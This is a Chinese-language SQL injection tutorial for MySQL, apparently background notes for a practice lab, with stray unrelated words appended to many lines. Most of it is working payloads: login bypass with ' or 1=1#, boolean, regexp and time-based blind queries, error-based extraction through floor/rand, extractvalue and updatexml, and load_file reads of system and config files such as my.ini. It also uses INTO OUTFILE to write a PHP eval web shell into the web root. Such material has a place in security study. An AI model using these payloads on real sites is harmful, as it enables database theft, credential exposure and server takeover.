「第一部分/page-1 Basic Challenges」php
Background-1 基礎知識html
此處介紹一些 mysql 注入的一些基礎知識。前端
(1)注入的分類---仁者見仁,智者見智。mysql
下面這個是阿德瑪表哥的一段話,我的認爲分類已是夠全面了。理解不了跳過,當你徹底看完整個學習過程後再回頭看這段。能徹底理解下面的這些每一個分類,對每一個分類有屬於你的認知和了解的時候,你就算是小有成就了,固然僅僅是 sql 注入上。web
基於從服務器接收到的響應正則表達式
▲基於錯誤的 SQL 注入sql
▲聯合查詢的類型shell
▲堆查詢注射數據庫
▲SQL 盲注windows
•基於布爾 SQL 盲注
•基於時間的 SQL 盲注
•基於報錯的 SQL 盲注
基於如何處理輸入的 SQL 查詢(數據類型)
•基於字符串
•數字或整數爲基礎的
基於程度和順序的注入(哪裏發生了影響)
★一階注射
★二階注射
一階注射是指輸入的注射語句對 WEB 直接產生了影響,出現告終果;二階注入相似存儲型 XSS,是指輸入提交的語句,沒法直接對 WEB 應用程序產生影響,經過其它的輔助間接的對 WEB 產生危害,這樣的就被稱爲是二階注入.
基於注入點的位置上的
▲經過用戶輸入的表單域的注射。
▲經過 cookie 注射。
▲經過服務器變量注射。(基於頭部信息的注射)
(2)系統函數介紹
幾個經常使用函數:
1. version()——MySQL 版本
2. user()——數據庫用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5.@@version_compile_os——操做系統版本
(3)字符串鏈接函數
函數具體介紹 http://www.cnblogs.com/lcamry/p/5715634.html
1. concat(str1,str2,...)——沒有分隔符地鏈接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地鏈接字符串
group_concat(str1,str2,...)——鏈接一個組的全部字符串,並以逗號分隔每一條數聽說着比較抽象,其實也並不須要詳細瞭解,知道這三個函數能一次性查出全部信息就好了。
(4)通常用於嘗試的語句
Ps:--+能夠用#替換,url 提交過程當中 Url 編碼後的#爲
%23 or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
' )or 1=1--+
") or 1=1--+
"))or 1=1--+
通常的代碼爲:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此處考慮兩個點,一個是閉合前面你的 ‘ 另外一個是處理後面的 ‘ ,通常採用兩種思路,閉合後面的引號或者註釋掉,註釋掉採用--+ 或者 #(%23)
(5)union 操做符的介紹
UNION 操做符用於合併兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有類似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。
SQL UNION 語法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
註釋:默認地,UNION 操做符選取不一樣的值。若是容許重複的值,請使用 UNION ALL。
SQL UNION ALL 語法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結果集中的列名老是等於 UNION 中第一個 SELECT 語句中的列名。
(6)sql 中的邏輯運算
這裏我想說下邏輯運算的問題。
提出一個問題 Select * from users where id=1 and 1=1; 這條語句爲何可以選擇出 id=1的內容,and 1=1 到底起做用了沒有?這裏就要清楚 sql 語句執行順序了。同時這個問題咱們在使用萬能密碼的時候會用到。
Select * from admin where username=’admin’ and password=’admin’
咱們能夠用 ’or 1=1# 做爲密碼輸入。緣由是爲何?
這裏涉及到一個邏輯運算,當使用上述所謂的萬能密碼後,構成的 sql 語句爲:
Select * from admin where username=’admin’ and password=’’or 1=1#’
Explain:上面的這個語句執行後,咱們在不知道密碼的狀況下就登陸到了 admin 用戶了。緣由是在 where 子句後,咱們能夠看到三個條件語句 username=’admin’ and password=’’or 1=1。三個條件用 and 和 or 進行鏈接。
在 sql 中,咱們 and 的運算優先級大於 or 的元算優先級。所以能夠看到 第一個條件(用 a 表示)是真的,第二個條件(用 b 表示)是假的,a and b = false,第一個條件和第二個條件執行 and 後是假,再與第三個條件 or 運算,由於第三個條件 1=1 是恆成立的,因此結果天然就爲真了。所以上述的語句就是恆真了。
①Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
上述三者有什麼區別?①和②是同樣的,表達的意思是 id=1 條件和 1=1 條件進行與運算。
③的意思是 id=1 條件與 1 進行&位操做,id=1 被看成 true,與 1 進行 & 運算 結果仍是 1,再進行=操做,1=1,仍是 1(ps:&的優先級大於=)Ps:此處進行的位運算。咱們能夠將數轉換爲二進制再進行與、或、非、異或等運算。必要的時候能夠利用該方法進行注入結果。例如將某一字符轉換爲 ascii 碼後,能夠分別與1,2,4,8,16,32.。。。進行與運算,能夠獲得每一位的值,拼接起來就是 ascii 碼值。再從 ascii 值反推回字符。(運用較少)
(7)注入流程
咱們的數據庫存儲的數據按照上圖的形式,一個數據庫當中有不少的數據表,數據表當中有不少的列,每一列當中存儲着數據。咱們注入的過程就是先拿到數據庫名,在獲取到當前數據庫名下的數據表,再獲取當前數據表下的列,最後獲取數據。
Background-2 盲注的講解
何爲盲注?盲注就是在 sql 注入過程當中,sql 語句執行的選擇後,選擇的數據不能回顯到前端頁面。
此時,咱們須要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。從 background-1 中,咱們能夠知道盲注分爲三類
•基於布爾 SQL 盲注
•基於時間的 SQL 盲注
•基於報錯的 SQL 盲注
Ps:知識點太多了,這裏只能簡單列出來大體講解一下。(ps:每當看到前輩的奇淫技巧的 payload 時,能想象到我心裏的喜悅麼?我真的想細細的寫寫這一塊,可是不知道該怎麼寫或者小夥伴須要怎麼樣來說這個,能夠 m 我。)
1:基於布爾 SQL 盲注----------構造邏輯判斷
咱們能夠利用邏輯判斷進行截取字符串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html
(這個仍是要看下)
▲left(database(),1)>’s’ //left()函數
Explain:database()顯示數據庫名稱,left(a,b)從左側截取 a 的前 b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函數,ascii()函數
Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換爲 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函數,MID()函數
Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
Ord()函數同 ascii(),將字符轉爲 ascii 值
▲regexp 正則注入
正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html
用法介紹:select user() regexp '^[a-z]';
Explain:正則表達式的用法,user()結果爲 root,regexp 爲匹配 root 的正則表達式。
第二位能夠用 select user() regexp '^ro'來進行
當正確的時候顯示結果爲 1,不正確的時候顯示結果爲 0.
示例介紹:
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
IIselect * from users where id=1 and 1=(user() regexp'^ri');
經過 if 語句的條件判斷,返回一些條件句,好比 if 等構造一個判斷。根據返回結果是否等於 0 或者 1 進行判斷。
IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
這裏利用 select 構造了一個判斷語句。咱們只須要更換 regexp 表達式便可
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
如何知道匹配結束了?
這裏大部分根據通常的命名方式(經驗)就能夠判斷。可是如何你在沒法判斷的狀況下,能夠用 table_name regexp '^username$'來進行判斷。
^是從開頭進行匹配,$是從結尾開始判斷。更多的語法能夠參考 mysql 使用手冊進行了解。
好,這裏思考一個問題?
table_name 有好幾個,咱們只獲得了一個 user,如何知道其餘的?
這裏可能會有人認爲使用 limit 0,1 改成 limit 1,1。
可是這種作法是錯誤的,limit 做用在前面的 select 語句中,而不是 regexp。那咱們該如何選擇。其實在 regexp 中咱們是取匹配 table_name 中的內容,只要 table_name 中有的內容,咱們用 regexp 都可以匹配到。
所以上述語句不只僅能夠選擇 user,還能夠匹配其餘項。
▲like 匹配注入
和上述的正則相似,mysql 在匹配的時候咱們能夠用 like 進行匹配。
用法:select user() like ‘ro%’
2:基於報錯的 SQL 盲注------構造 payload 讓信息經過錯誤提示回顯出來
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
//explain:此處有三個點,一是須要 concat 計數,二是 floor,取得 0 or 1,進行數據的重複,三是 group by 進行分組,但具體原理解釋不是很通,大體原理爲分組後數據計數時重複形成的錯誤。也有解釋爲 mysql 的 bug 的問題。
可是此處須要將 rand(0),rand()須要多試幾回才行。
以上語句能夠簡化成以下的形式。
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
若是關鍵的表被禁用了,可使用這種形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
若是 rand 被禁用了可使用用戶變量來報錯
select min(@a:=1) from information_schema.tables group by concat(passwo
rd,@a:=(@a+1)%2)
▲select exp(~(select * FROM(SELECT USER())a)) //double 數值類型超出範圍
//Exp()爲以 e 爲底的對數函數;版本在 5.5.5 及其以上
能夠參考 exp 報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html
▲select !(select * from (select user())x) -(ps:這是減號)~0
//bigint 超出範圍;~0 是對 0 逐位取反,很大的版本在 5.5.5 及其以上
能夠參考文章 bigint 溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
▲extractvalue(1,concat(0x7e,(select @@version),0x7e))
se//mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重複特性,此處重複了 version,因此報錯。
3:基於時間的 SQL 盲注----------延時注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件爲假,執行 sleep
Ps:遇到如下這種利用 sleep()延時注入語句 select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));
該語句意思是在 0-9 之間找版本號的第一位。可是在咱們實際滲透過程當中,這種用法是不可取的,由於時間會有網速等其餘因素的影響,因此會影響結果的判斷。
▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用於測試函數的性能,參數一爲次數,二爲要執行的表達式。可讓函數執行若干次,返回結果比平時要長,經過時間長短的變化,判斷語句是否執行成功。這是一種邊信道攻擊,在運行過程當中佔用大量的 cpu 資源。推薦使用 sleep()函數進行注入。
Background-3 導入導出相關操做的講解
一、load_file()導出文件
Load_file(file_name):讀取文件並返回該文件的內容做爲一個字符串。
使用條件:
A、必須有權限讀取而且文件必須徹底可讀
and (select count(*) from mysql.user)>0/* 若是結果返回正常,說明具備讀寫權限。 and (select count(*) from mysql.user)>0/* 返回錯誤,應該是管理員給數據庫賬戶降權
B、欲讀取文件必須在服務器上
C、必須指定文件完整的路徑
D、欲讀取文件必須小於 max_allowed_packet
若是該文件不存在,或由於上面的任一緣由而不能被讀出,函數返回空。
比較難知足的就是權限,在 windows 下,若是 NTFS 設置得當,是不能讀取相關的文件的,當遇到只有administrators 才能訪問的文件,users 就別想 load_file 出來。
在實際的注入中,咱們有兩個難點須要解決:絕對物理路徑構造有效的畸形語句(報錯爆出絕對路徑)
在不少 PHP 程序中,當提交一個錯誤的 Query,若是 display_errors = on,程序就會暴露 WEB 目錄的絕對路徑,只要知道路徑,那麼對於一個能夠注入的 PHP 程序來講,整個服務器的安全將受到嚴重的威脅。
經常使用路徑:
http://www.cnblogs.com/lcamry/p/5729087.html
示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
利用 hex()將文件內容導出來,尤爲是 smb 文件時可使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:「char(99,58,47,98,111,111,116,46,105,110,105)」就是「c:/boot.ini」的 ASCII 代碼
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)Explain:「c:/boot.ini」的 16 進制是「0x633a2f626f6f742e696e69」
-1 union select 1,1,1,load_file(c:\\boot.ini) Explain:路徑裏的/用 \\代替
二、文件導入到數據庫
LOAD DATA INFILE 語句用於高速地從一個文本文件中讀取行,並裝入一個表中。文件名稱必須爲一個文字字符串。
在注入過程當中,咱們每每須要一些特殊的文件,好比配置文件,密碼文件等。當你具備數據庫的權限時,能夠將系統文件利用 load data infile 導入到數據庫中
函數具體介紹:對於參數介紹這裏就不過多的贅述了,能夠參考 mysql 的文檔。(提醒:參考文檔纔是最佳的學習資料)
示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
將/tmp/t0.txt 導入到 t0 表中,character set gbk 是字符集設置爲 gbk,fields terminated by 是每一項數據之間的分隔符,lines terminated by 是行的結尾符。
當錯誤代碼是 2 的時候的時候,文件不存在,錯誤代碼爲 13 的時候是沒有權限,能夠考慮 /tmp 等文件夾。
TIPS:咱們從 mysql5.7 的文檔看到添加了 load xml 函數,是否依舊可以用來作注入還須要驗證。
三、導入到文件
SELECT.....INTO OUTFILE 'file_name'
能夠把被選擇的行寫入一個文件中。該文件被建立到服務器主機上,所以您必須擁有 FILE 權限,才能使用此語法。file_name 不能是一個已經存在的文件。
咱們通常有兩種利用形式:
第一種直接將 select 內容導入到文件中:
Select version() into outfile 「c:\\phpnow\\htdocs\\test.php」
此處將 version()替換成一句話,<?php @eval($_post[「mima」])?>也即
Select <?php @eval($_post[「mima」])?> into outfile 「c:\\phpnow\\htdocs\\test.php」
直接鏈接一句話就能夠了,其實在 select 內容中不只僅是能夠上傳一句話的,也能夠上傳不少的內容。
第二種修改文件結尾:
Select version() Into outfile 「c:\\phpnow\\htdocs\\test.php」 LINES TERMINATED BY 0x16 進制文件
解釋:一般是用‘\r\n’結尾,此處咱們修改成本身想要的任何文件。同時能夠用 FIELDS TERMINATED BY
16 進制能夠爲一句話或者其餘任何的代碼,可自行構造。在 sqlmap 中 os-shell 採起的就是這樣的方式,具體可參考 os-shell 分析文章:
http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路徑當中要注意轉義,這個要看具體的環境
(2)上述咱們提到了 load_file(),可是當前臺沒法導出數據的時候,咱們能夠利用下面的語句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
能夠利用該語句將服務器當中的內容導入到 web 服務器下的目錄,這樣就能夠獲得數據了。
上述 my.ini 當中存在 password 項(不過默認被註釋),固然會有不少的內容能夠被導出來,這個要平時積累。